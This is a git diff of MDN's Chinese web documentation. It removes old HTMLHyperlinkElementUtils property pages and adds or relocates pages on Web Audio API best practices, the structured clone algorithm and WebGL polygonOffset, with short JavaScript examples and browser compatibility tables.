This returns a {{domxref("USVString")}} containing the whole URL. It is a synonym for {{domxref("HTMLHyperlinkElementUtils.href")}}, though it can't be used to modify the value.
-
- -

规范

- - - - - - - - - - - - - - - - -
规范状态备注
{{SpecName('HTML WHATWG', '#htmlhyperlinkelementutils', 'HTMLHyperlinkElementUtils')}}{{Spec2('HTML WHATWG')}}Initial definition
- -

浏览器兼容性

- - - -

{{Compat("api.HTMLHyperlinkElementUtils")}}

- -

参见

- -
    -
  • Interfaces implementing this one: {{domxref("HTMLAnchorElement")}}, {{domxref("HTMLAreaElement")}}
  • -
diff --git a/files/zh-cn/web/api/urlutils/origin/index.html b/files/zh-cn/web/api/urlutils/origin/index.html deleted file mode 100644 index d0f8d926ec..0000000000 --- a/files/zh-cn/web/api/urlutils/origin/index.html +++ /dev/null @@ -1,116 +0,0 @@ ---- -title: HTMLHyperlinkElementUtils.origin -slug: Web/API/URLUtils/origin -tags: - - HTMLHyperlinkElementUtils.origin -translation_of: Web/API/HTMLHyperlinkElementUtils/origin ---- -

{{APIRef("URL API")}}

- -

HTMLHyperlinkElementUtils.origin 只读属性是一个 {{domxref("USVString")}} ,其中包含代表URL的原始码的Unicode序列化,即:

- -
    -
  • for URL using the http or https, the scheme followed by '://', followed by the domain, followed by ':', followed by the port (the default port, 80 and 443 respectively, if explicitely specified);
  • -
  • for URL using file: scheme, the value is browser dependant;
  • -
  • for URL using the blob: scheme, the origin of the URL following blob:. E.g "blob:https://mozilla.org" will have "https://mozilla.org".
  • -
- -

{{AvailableInWorkers}}

- -

Syntax

- -
string = object.origin;
-
- -

Examples

- -
// On this page, returns the origin
-var result = window.location.origin; // Returns:'https://developer.mozilla.org'
-
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-origin', 'HTMLHyperlinkElementUtils.origin')}}{{Spec2('HTML WHATWG')}}Initial definition.
- -

Browser compatibility

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoDesktop("26.0")}} [3][4]{{CompatNo}} [2]{{CompatNo}} [2]{{CompatNo}} [2]
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoMobile("26.0")}} [3][4]{{CompatNo}} [2]{{CompatNo}} [2]{{CompatNo}} [2]
-
- -

[1] Starting in Chrome 52, this property was moved to {{domxref('URL')}}

- -

[2] Though not grouped in a single abstract interface, this method is directly available on the interfaces that implement it, if this interface is supported.

- -

[3] From Gecko 26 to Gecko 44, this property was on the URLUtils mixin. It has been moves either on the HTMLHyperlinkElementUtils mixin, or directly on the interface.

- -

[4] Before Gecko 49, results for URL using the blob scheme incorrectly returned null.

- -

See also

- -
    -
  • The {{domxref("HTMLHyperlinkElementUtils")}} mixin it belongs to.
  • -
diff --git a/files/zh-cn/web/api/urlutils/password/index.html b/files/zh-cn/web/api/urlutils/password/index.html deleted file mode 100644 index 99e9944875..0000000000 --- a/files/zh-cn/web/api/urlutils/password/index.html +++ /dev/null @@ -1,104 +0,0 @@ ---- -title: HTMLHyperlinkElementUtils.password -slug: Web/API/URLUtils/password -tags: - - HTMLHyperlinkElementUtils.password -translation_of: Web/API/HTMLHyperlinkElementUtils/password ---- -

{{ApiRef("URL API")}}

- -

HTMLHyperlinkElementUtils.password property 属性是一个{{domxref("USVString")}} ,包含域名前面指定的密码。

- -

如果在没有首先设置用户名属性的情况下设置,则会静默失败。

- -

Syntax

- -
string = object.password;
-object.password = string;
-
- -

Examples

- -
// Let's <a id="myAnchor" href="https://anonymous:flabada@developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.username"> be in the document
-var anchor = document.getElementByID("myAnchor");
-var result = anchor.password; // Returns:'flabada'
-
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-prassword', 'HTMLHyperlinkElementUtils.password')}}{{Spec2('HTML WHATWG')}}Initial definition.
- -

Browser compatibility

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}} [1]{{CompatGeckoDesktop("26")}} [2]{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatGeckoMobile("26")}} [2]{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -

[1] Starting in Chrome 52, this property was moved to {{domxref('URL')}}

- -

[2] From Gecko 26 to Gecko 44, this property was on the URLUtils mixin. It has been moves either on the HTMLHyperlinkElementUtils mixin, or directly on the interface.

- -

See also

- -
    -
  • The {{domxref("HTMLHyperlinkElementUtils")}} mixin it belongs to.
  • -
diff --git a/files/zh-cn/web/api/urlutils/pathname/index.html b/files/zh-cn/web/api/urlutils/pathname/index.html deleted file mode 100644 index 203da5393a..0000000000 --- a/files/zh-cn/web/api/urlutils/pathname/index.html +++ /dev/null @@ -1,110 +0,0 @@ ---- -title: HTMLHyperlinkElementUtils.pathname -slug: Web/API/URLUtils/pathname -tags: - - HTMLHyperlinkElementUtils.pathname -translation_of: Web/API/HTMLHyperlinkElementUtils/pathname ---- -

{{ApiRef("URL API")}}

- -

HTMLHyperlinkElementUtils.pathname 属性是一个 {{domxref("USVString")}} ,其中包含一个初始的'/'后跟URL的路径。

- -

Syntax

- -
string = object.pathname;
-object.pathname = string;
-
- -

Examples

- -
// Let's an <a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.pathname"> element be in the document
-var anchor = document.getElementById("myAnchor");
-var result = anchor.pathname; // Returns:'/en-US/docs/HTMLHyperlinkElementUtils.pathname'
-
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-pathname', 'HTMLHyperlinkElementUtils.pathname')}}{{Spec2('HTML WHATWG')}}Initial definition.
- -

Browser compatibility

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}} [1]{{CompatNo}} [2]{{CompatGeckoDesktop("22")}} [3][4]{{CompatNo}} [2]{{CompatNo}} [2]{{CompatNo}} [2]
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatNo}} [2]{{CompatGeckoMobile("22")}} [3][4]{{CompatNo}} [2]{{CompatNo}} [2]{{CompatNo}} [2]
-
- -

[1] Starting in Chrome 52, this property was moved to {{domxref('URL')}}

- -

[2] Though not grouped in a single abstract interface, this method is directly available on the interfaces that implement it, if this interface is supported.

- -

[3] From Gecko 22 to Gecko 44, this property was on the URLUtils mixin. It has been moves either on the HTMLHyperlinkElementUtils mixin, or directly on the interface.

- -

[4] Before Firefox 53, the pathname and search HTMLHyperLinkElementUtils properties returned the wrong parts of the URL. For example, for a URL of http://z.com/x?a=true&b=false, pathname would return "/x?a=true&b=false" and search would return "", rather than "/x" and "?a=true&b=false" respectively. This has now been fixed.

- -

See also

- -
    -
  • The {{domxref("HTMLHyperlinkElementUtils")}} mixin it belongs to.
  • -
diff --git a/files/zh-cn/web/api/urlutils/search/index.html b/files/zh-cn/web/api/urlutils/search/index.html deleted file mode 100644 index 4c9c8ae554..0000000000 --- a/files/zh-cn/web/api/urlutils/search/index.html +++ /dev/null @@ -1,116 +0,0 @@ ---- -title: HTMLHyperlinkElementUtils.search -slug: Web/API/URLUtils/search -tags: - - HTMLHyperlinkElementUtils.search -translation_of: Web/API/HTMLHyperlinkElementUtils/search ---- -

{{ApiRef("URL API")}}

- -

HTMLHyperlinkElementUtils.search 属性是一个搜索字符串,也叫做查询字符串, 它是一个 {{domxref("USVString")}} ,包含 '?' 和随后的 URL 参数。

- -

语法

- -
string = object.search;
-object.search = string;
-
- -

示例

- -
// 让一个
-// <a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.search?q=123" />
-//  元素在文档里
-
-let anchor = document.getElementById("myAnchor");
-let result = anchor.search;
-// 返回:'?q=123'
-
- -

 

- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-search', 'HTMLHyperlinkElementUtils.search')}}{{Spec2('HTML WHATWG')}}初始定义
- -

浏览器兼容性

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
基本支持{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoDesktop("22")}} [3][4]{{CompatVersionUnknown}} [2]{{CompatVersionUnknown}} [2]{{CompatVersionUnknown}} [2]
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
基本支持{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoMobile("22")}} [3][4]{{CompatVersionUnknown}} [2]{{CompatVersionUnknown}} [2]{{CompatVersionUnknown}} [2]
-
- -

[1] 自Chrome 52起,该属性移至{{domxref('URL')}}

- -

[2] 虽然没有被分在一个独立的抽象接口,但该方法可以在实现了它的那些接口上直接使用,如果支持该接口。

- -

[3] 从Gecko 22 到 Gecko 44,该属性在 URLUtils mixin 上。它已经被移到 HTMLHyperlinkElementUtils mixin,或者直接在这个接口上。

- -

[4] 在 Firefox 53之前, pathname search HTMLHyperLinkElementUtils 属性返回的URL部分是错误的。例如,对一个值为 http://z.com/x?a=true&b=false 的URL,pathname 会返回"/x?a=true&b=false" ,search 会返回 "", 而不是各自返回 "/x" 和"?a=true&b=false" 。这已经被修正了。

- -

相关链接

- -
    -
  • 它属于{{domxref("HTMLHyperlinkElementUtils")}} mixin 。
  • -
diff --git a/files/zh-cn/web/api/urlutils/tostring/index.html b/files/zh-cn/web/api/urlutils/tostring/index.html deleted file mode 100644 index 172ffda98b..0000000000 --- a/files/zh-cn/web/api/urlutils/tostring/index.html +++ /dev/null @@ -1,110 +0,0 @@ ---- -title: HTMLHyperlinkElementUtils.toString() -slug: Web/API/URLUtils/toString -tags: - - HTMLHyperlinkElementUtils.toString() - - URL API -translation_of: Web/API/HTMLHyperlinkElementUtils/toString ---- -

{{ApiRef("URL API")}}

- -

HTMLHyperlinkElementUtils.toString() 方法返回一个包含整个URL的 {{domxref("USVString")}} 。它是{{domxref("HTMLHyperlinkElementUtils.href")}} 的一个只读版本。

- -

句法

- -
string = object.toString();
- -

范例

- -
/*
-Let's imagine an
-<a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils/toString">
- element is in the document
-*/
-var anchor = document.getElementById("myAnchor");
-var result = anchor.toString();
-// Returns: 'https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils/toString'
-
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#htmlhyperlinkelementutils', 'HTMLHyperlinkElementUtils.toString()')}}{{Spec2('HTML WHATWG')}}Initial definition.
- -

浏览器兼容性

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(52)}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("22")}} [2]{{CompatNo}} [1]{{CompatNo}} [1]{{CompatNo}} [1]
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatChrome(52)}}{{CompatChrome(52)}}{{CompatVersionUnknown}}{{CompatGeckoMobile("22")}} [2]{{CompatNo}} [1]{{CompatNo}} [1]{{CompatNo}} [1]
-
- -

[1] Though not grouped in a single abstract interface, this method is directly available on the interfaces that implement it, if this interface is supported.

- -

[2] From Gecko 22 to Gecko 44, this property was on the URLUtils mixin. It has been moves either on the HTMLHyperlinkElementUtils mixin, or directly on the interface.

- -

也可以看看

- -
    -
  • The {{domxref("HTMLHyperlinkElementUtils")}} mixin it belongs to.
  • -
diff --git a/files/zh-cn/web/api/urlutils/username/index.html b/files/zh-cn/web/api/urlutils/username/index.html deleted file mode 100644 index 2e7a101f9f..0000000000 --- a/files/zh-cn/web/api/urlutils/username/index.html +++ /dev/null @@ -1,102 +0,0 @@ ---- -title: HTMLHyperlinkElementUtils.username -slug: Web/API/URLUtils/username -tags: - - HTMLHyperlinkElementUtils.username -translation_of: Web/API/HTMLHyperlinkElementUtils/username ---- -

{{ApiRef("URL API")}}

- -

HTMLHyperlinkElementUtils.username 属性是一个 {{domxref("USVString")}}包含域名前面指定的用户名。

- -

Syntax

- -
string = object.username;
-object.username = string;
-
- -

Examples

- -
// Let's <a id="myAnchor" href="https://anonymous:flabada@developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.username"> be in the document
-var anchor = document.getElementByID("myAnchor");
-var result = anchor.username; // Returns:'anonymous'
-
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-username', 'HTMLHyperlinkElementUtils.username')}}{{Spec2('HTML WHATWG')}}Initial definition.
- -

Browser compatibility

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}} [1]{{CompatGeckoDesktop("26")}} [2]{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatGeckoMobile("26")}} [2]{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -

[1] Starting in Chrome 52, this property was moved to {{domxref('URL')}}

- -

[2] From Gecko 26 to Gecko 44, this property was on the URLUtils mixin. It has been moves either on the HTMLHyperlinkElementUtils mixin, or directly on the interface.

- -

See also

- -
    -
  • The {{domxref("HTMLHyperlinkElementUtils")}} interface it belongs to.
  • -
diff --git a/files/zh-cn/web/api/web_audio_api/best_practices/index.html b/files/zh-cn/web/api/web_audio_api/best_practices/index.html new file mode 100644 index 0000000000..f0a241a557 --- /dev/null +++ b/files/zh-cn/web/api/web_audio_api/best_practices/index.html @@ -0,0 +1,100 @@ +--- +title: Web Audio API 最佳实践 +slug: Web/API/Web_Audio_API/最佳实践 +tags: + - Web Audio API + - 指导 + - 最佳实践 + - 音频 +translation_of: Web/API/Web_Audio_API/Best_practices +--- +
{{apiref("Web Audio API")}}
+ +

在创意编程中(creative coding)没有严格的对错之分。 只要你充分考虑安全性、性能和accessibility,你可以用自己的办法来编写代码。在这篇文章中,我们会分享一些最佳实践——包含使用Web Audio API的指导、小知识和小技巧。

+ +

加载声音/声音文件

+ +

使用Web Audio API加载声音的主要方式有四种,你可能会对于应当使用哪种方式有些困惑。

+ +

在从文件中加载声音时,你可能会采取从{{domxref("HTMLMediaElement")}} (即  {{htmlelement("audio")}} 或{{htmlelement("video")}} )中抓取的方式,或提取文件并将其解码到缓冲区。两种工作方式都是合理的,然而,在处理全长音轨时,前一种方法会更加常见。而后一种方法更常见于处理更短的(例如样本)的音轨。

+ +

多媒体类HTML元素有开箱即用的媒体流支持。音频会在浏览器判断可以在播放完成之前加载文件的剩余部分时进行播放(when the browser determines it can load the rest of the file before playing finishes.)。你可以在Using the Web Audio API tutorial这篇文档中看到一个把多媒体类HTML元素与Web Audio API结合使用的例子。

+ +

如果你使用缓冲节点(buffer node)来加载音频,你将会有更多的控制权。虽然你需要请求这个文件,然后等待它加载完成(我们的这篇进阶文章中的这一节介绍了一个好办法)。但是,随后您可以直接访问数据,这意味着你能进行更精确,更精确的操作。

+ +

对于来自用户的摄像头或麦克风的音频,你可以考虑通过Media Stream API和{{domxref("MediaStreamAudioSourceNode")}}接口来访问。这在与WebRTC协作以及你想录制或分析音频的场合下很管用。

+ +

最后一个要介绍的方法时如何生成声音。这可以通过{{domxref("OscillatorNode")}}和创建一个缓冲区(buffer)然后向其中填充你的数据来完成。你可以在这篇指导你如何创建自己的乐器的文章中学习到用这两个工具创建声音的知识。

+ +

Cross browser & legacy support

+ +

The Web Audio API specification is constantly evolving and like most things on the web, there are some issues with it working consistently across browsers. Here we'll look at options for getting around cross-browser problems.

+ +

There's the standardised-audio-context npm package, which creates API functionality consistently across browsers, full holes as they are found. It's constantly in development and endeavours to keep up with the current specification.

+ +

There is also the option of libraries, of which there are a few depending on your use case. For a good all-rounder, howler.js is a good choice. It has cross-browser support and, provides a useful subset of functionality. Although it doesn't harness the full gamut of filters and other effects the Web Audio API comes with, you can do most of what you'd want to do.

+ +

If you are looking for sound creation or a more instrument-based option, tone.js is a great library. It provides advanced scheduling capabilities, synths, and effects, and intuitive musical abstractions built on top of the Web Audio API.

+ +

R-audio, from the BBC's Research & Development department, is a library of React components aiming to provide a "more intuitive, declarative interface to Web Audio". If you're used to writing JSX it might be worth looking at.

+ +

自动播放策略

+ +

浏览器已经开始实施自动播放策略,这一策略通常可以概括为:

+ +
+

"Create or resume context from inside a user gesture".

+
+ +

这在实践中意味着什么呢?user gesture可以解释为用户触发的事件(一般来说,是click事件)。浏览器厂商判定不应该允许Web Audio上下文自动播放音频,而应该由用户开始播放。这是因为自动播放音频非常烦人且令人讨厌。那么,我们该如何处理(handle)呢?

+ +

无论是offline还是online,当你创建了一个音频上下文(audio context),它会有一个内部状态(state),这个状态有暂停(suspend)、播放(running)、关闭(closed)三种可能。

+ +

(When you create an audio context (either offline or online) it is created with a state, which can be suspended, running, or closed.)

+ +

例如,在使用 {{domxref("AudioContext")}}时,如果你在click事件中创建了音频上下文,它的内部状态应该会被自动设置成播放(running)。这里有一个在click事件中创建音频上下文简单的例子:

+ +
const button = document.querySelector('button');
+button.addEventListener('click', function() {
+    const audioCtx = new AudioContext();
+}, false);
+
+ +

如果你在用户动作之外创建上下文(create the context outside of a user gesture),它的内部状态会被设置为暂停(suspend)。这里我们可以同样用click事件的例子。我们会检查这个上下文的状态,并且启动它。如果它是暂停(suspend)的状态,使用resume()方法来恢复。

+ +
const audioCtx = new AudioContext();
+const button = document.querySelector('button');
+
+button.addEventListener('click', function() {
+      // check if context is in suspended state (autoplay policy)
+    if (audioCtx.state === 'suspended') {
+        audioCtx.resume();
+    }
+}, false);
+
+ +

对于{{domxref("OfflineAudioContext")}},你也可以使用startRendering()方法来恢复到播放状态。

+ +

User control

+ +

If your website or application contains sound, you should allow the user control over it, otherwise again, it will become annoying. This can be achieved by play/stop and volume/mute controls. The Using the Web Audio API tutorial goes over how to do this.

+ +

If you have buttons that switch audio on and off, using the ARIA role="switch" attribute on them is a good option for signalling to assistive technology what the button's exact purpose is, and therefore making the app more accessible. There's a demo of how to use it here.

+ +

As you work with a lot of changing values within the Web Audio API and will want to provide users with control over these, the range input is often a good choice of control to use. It's a good option as you can set minimum and maximum values, as well as increments with the step attribute.

+ +

Setting AudioParam values

+ +

There are two ways to manipulate {{domxref("AudioNode")}} values, which are themselves objects of type {{domxref("AudioParam")}} interface. The first is to set the value directly via the property. So for instance if we want to change the gain value of a {{domxref("GainNode")}} we would do so thus:

+ +
gainNode.gain.value = 0.5;
+
+ +

This will set our volume to half. However, if you're using any of the AudioParam's defined methods to set these values, they will take precedence over the above property setting. If for example, you want the gain value to be raised to 1 in 2 seconds time, you can do this:

+ +
gainNode.gain.setValueAtTime(1, audioCtx.currentTime + 2);
+
+ +

It will override the previous example (as it should), even if it were to come later in your code.

+ +

Bearing this in mind, if your website or application requires timing and scheduling, it's best to stick with the {{domxref("AudioParam")}} methods for setting values. If you're sure it doesn't, setting it with the value property is fine.

diff --git "a/files/zh-cn/web/api/web_audio_api/\346\234\200\344\275\263\345\256\236\350\267\265/index.html" "b/files/zh-cn/web/api/web_audio_api/\346\234\200\344\275\263\345\256\236\350\267\265/index.html" deleted file mode 100644 index f0a241a557..0000000000 --- "a/files/zh-cn/web/api/web_audio_api/\346\234\200\344\275\263\345\256\236\350\267\265/index.html" +++ /dev/null @@ -1,100 +0,0 @@ ---- -title: Web Audio API 最佳实践 -slug: Web/API/Web_Audio_API/最佳实践 -tags: - - Web Audio API - - 指导 - - 最佳实践 - - 音频 -translation_of: Web/API/Web_Audio_API/Best_practices ---- -
{{apiref("Web Audio API")}}
- -

在创意编程中(creative coding)没有严格的对错之分。 只要你充分考虑安全性、性能和accessibility,你可以用自己的办法来编写代码。在这篇文章中,我们会分享一些最佳实践——包含使用Web Audio API的指导、小知识和小技巧。

- -

加载声音/声音文件

- -

使用Web Audio API加载声音的主要方式有四种,你可能会对于应当使用哪种方式有些困惑。

- -

在从文件中加载声音时,你可能会采取从{{domxref("HTMLMediaElement")}} (即  {{htmlelement("audio")}} 或{{htmlelement("video")}} )中抓取的方式,或提取文件并将其解码到缓冲区。两种工作方式都是合理的,然而,在处理全长音轨时,前一种方法会更加常见。而后一种方法更常见于处理更短的(例如样本)的音轨。

- -

多媒体类HTML元素有开箱即用的媒体流支持。音频会在浏览器判断可以在播放完成之前加载文件的剩余部分时进行播放(when the browser determines it can load the rest of the file before playing finishes.)。你可以在Using the Web Audio API tutorial这篇文档中看到一个把多媒体类HTML元素与Web Audio API结合使用的例子。

- -

如果你使用缓冲节点(buffer node)来加载音频,你将会有更多的控制权。虽然你需要请求这个文件,然后等待它加载完成(我们的这篇进阶文章中的这一节介绍了一个好办法)。但是,随后您可以直接访问数据,这意味着你能进行更精确,更精确的操作。

- -

对于来自用户的摄像头或麦克风的音频,你可以考虑通过Media Stream API和{{domxref("MediaStreamAudioSourceNode")}}接口来访问。这在与WebRTC协作以及你想录制或分析音频的场合下很管用。

- -

最后一个要介绍的方法时如何生成声音。这可以通过{{domxref("OscillatorNode")}}和创建一个缓冲区(buffer)然后向其中填充你的数据来完成。你可以在这篇指导你如何创建自己的乐器的文章中学习到用这两个工具创建声音的知识。

- -

Cross browser & legacy support

- -

The Web Audio API specification is constantly evolving and like most things on the web, there are some issues with it working consistently across browsers. Here we'll look at options for getting around cross-browser problems.

- -

There's the standardised-audio-context npm package, which creates API functionality consistently across browsers, full holes as they are found. It's constantly in development and endeavours to keep up with the current specification.

- -

There is also the option of libraries, of which there are a few depending on your use case. For a good all-rounder, howler.js is a good choice. It has cross-browser support and, provides a useful subset of functionality. Although it doesn't harness the full gamut of filters and other effects the Web Audio API comes with, you can do most of what you'd want to do.

- -

If you are looking for sound creation or a more instrument-based option, tone.js is a great library. It provides advanced scheduling capabilities, synths, and effects, and intuitive musical abstractions built on top of the Web Audio API.

- -

R-audio, from the BBC's Research & Development department, is a library of React components aiming to provide a "more intuitive, declarative interface to Web Audio". If you're used to writing JSX it might be worth looking at.

- -

自动播放策略

- -

浏览器已经开始实施自动播放策略,这一策略通常可以概括为:

- -
-

"Create or resume context from inside a user gesture".

-
- -

这在实践中意味着什么呢?user gesture可以解释为用户触发的事件(一般来说,是click事件)。浏览器厂商判定不应该允许Web Audio上下文自动播放音频,而应该由用户开始播放。这是因为自动播放音频非常烦人且令人讨厌。那么,我们该如何处理(handle)呢?

- -

无论是offline还是online,当你创建了一个音频上下文(audio context),它会有一个内部状态(state),这个状态有暂停(suspend)、播放(running)、关闭(closed)三种可能。

- -

(When you create an audio context (either offline or online) it is created with a state, which can be suspended, running, or closed.)

- -

例如,在使用 {{domxref("AudioContext")}}时,如果你在click事件中创建了音频上下文,它的内部状态应该会被自动设置成播放(running)。这里有一个在click事件中创建音频上下文简单的例子:

- -
const button = document.querySelector('button');
-button.addEventListener('click', function() {
-    const audioCtx = new AudioContext();
-}, false);
-
- -

如果你在用户动作之外创建上下文(create the context outside of a user gesture),它的内部状态会被设置为暂停(suspend)。这里我们可以同样用click事件的例子。我们会检查这个上下文的状态,并且启动它。如果它是暂停(suspend)的状态,使用resume()方法来恢复。

- -
const audioCtx = new AudioContext();
-const button = document.querySelector('button');
-
-button.addEventListener('click', function() {
-      // check if context is in suspended state (autoplay policy)
-    if (audioCtx.state === 'suspended') {
-        audioCtx.resume();
-    }
-}, false);
-
- -

对于{{domxref("OfflineAudioContext")}},你也可以使用startRendering()方法来恢复到播放状态。

- -

User control

- -

If your website or application contains sound, you should allow the user control over it, otherwise again, it will become annoying. This can be achieved by play/stop and volume/mute controls. The Using the Web Audio API tutorial goes over how to do this.

- -

If you have buttons that switch audio on and off, using the ARIA role="switch" attribute on them is a good option for signalling to assistive technology what the button's exact purpose is, and therefore making the app more accessible. There's a demo of how to use it here.

- -

As you work with a lot of changing values within the Web Audio API and will want to provide users with control over these, the range input is often a good choice of control to use. It's a good option as you can set minimum and maximum values, as well as increments with the step attribute.

- -

Setting AudioParam values

- -

There are two ways to manipulate {{domxref("AudioNode")}} values, which are themselves objects of type {{domxref("AudioParam")}} interface. The first is to set the value directly via the property. So for instance if we want to change the gain value of a {{domxref("GainNode")}} we would do so thus:

- -
gainNode.gain.value = 0.5;
-
- -

This will set our volume to half. However, if you're using any of the AudioParam's defined methods to set these values, they will take precedence over the above property setting. If for example, you want the gain value to be raised to 1 in 2 seconds time, you can do this:

- -
gainNode.gain.setValueAtTime(1, audioCtx.currentTime + 2);
-
- -

It will override the previous example (as it should), even if it were to come later in your code.

- -

Bearing this in mind, if your website or application requires timing and scheduling, it's best to stick with the {{domxref("AudioParam")}} methods for setting values. If you're sure it doesn't, setting it with the value property is fine.

diff --git a/files/zh-cn/web/api/web_workers_api/structured_clone_algorithm/index.html b/files/zh-cn/web/api/web_workers_api/structured_clone_algorithm/index.html new file mode 100644 index 0000000000..60444f8dc4 --- /dev/null +++ b/files/zh-cn/web/api/web_workers_api/structured_clone_algorithm/index.html @@ -0,0 +1,108 @@ +--- +title: 结构化克隆算法 +slug: Web/Guide/API/DOM/The_structured_clone_algorithm +tags: + - DOM + - HTML5 + - 结构化克隆算法 +translation_of: Web/API/Web_Workers_API/Structured_clone_algorithm +--- +

结构化克隆算法是由HTML5规范定义的用于复制复杂JavaScript对象的算法。通过来自 Workers的 postMessage() 或使用 IndexedDB 存储对象时在内部使用。它通过递归输入对象来构建克隆,同时保持先前访问过的引用的映射,以避免无限遍历循环。

+ +

结构化克隆所不能做到的

+ +
    +
  • Error 以及 Function 对象是不能被结构化克隆算法复制的;如果你尝试这样子去做,这会导致抛出 DATA_CLONE_ERR 的异常。
  • +
  • 企图去克隆 DOM 节点同样会抛出 DATA_CLONE_ERROR 异常。
  • +
  • 对象的某些特定参数也不会被保留 +
      +
    • RegExp 对象的 lastIndex 字段不会被保留
    • +
    • 属性描述符,setters 以及 getters(以及其他类似元数据的功能)同样不会被复制。例如,如果一个对象用属性描述符标记为 read-only,它将会被复制为 read-write,因为这是默认的情况下。
    • +
    • 原形链上的属性也不会被追踪以及复制。
    • +
    +
  • +
+ +

支持的类型

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
对象类型注意
所有的原始类型symbols 除外
Boolean 对象 
String 对象 
Date 
RegExplastIndex 字段不会被保留。
{{ domxref("Blob") }} 
{{ domxref("File") }} 
{{ domxref("FileList") }} 
ArrayBuffer 
ArrayBufferView这基本上意味着所有的 类型化数组 ,如 Int32Array 等。
{{ domxref("ImageData") }} 
Array 
Object仅包括普通对象(如对象字面量)
Map 
Set 
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/polygonoffset/index.html b/files/zh-cn/web/api/webglrenderingcontext/polygonoffset/index.html new file mode 100644 index 0000000000..a62d4aeafa --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/polygonoffset/index.html @@ -0,0 +1,76 @@ +--- +title: WebGLRenderingContext.polygonOffset() +slug: Web/API/WebGLRenderingContext/多边形偏移(polygonOffset) +translation_of: Web/API/WebGLRenderingContext/polygonOffset +--- +
{{APIRef("WebGL")}}
+ +

The WebGLRenderingContext.polygonOffset() method of the WebGL API specifies the scale factors and units to calculate depth values.

+ +

The offset is added before the depth test is performed and before the value is written into the depth buffer.

+ +

语法

+ +
void gl.polygonOffset(factor, units);
+
+ +

参数

+ +
+
factor
+
A {{domxref("GLfloat")}} which sets the scale factor for the variable depth offset for each polygon. 默认值为 0.
+
units
+
A {{domxref("GLfloat")}} which sets the multiplier by which an implementation-specific value is multiplied with to create a constant depth offset. 默认值为 0.
+
+ +

返回值

+ +

None.

+ +

例子

+ +

The polygon offset fill is disabled by default. To enable or disable polygon offset fill, use the {{domxref("WebGLRenderingContext.enable", "enable()")}} and {{domxref("WebGLRenderingContext.disable", "disable()")}} methods with the argument gl.POLYGON_OFFSET_FILL.

+ +
gl.enable(gl.POLYGON_OFFSET_FILL);
+gl.polygonOffset(2, 3);
+
+ +

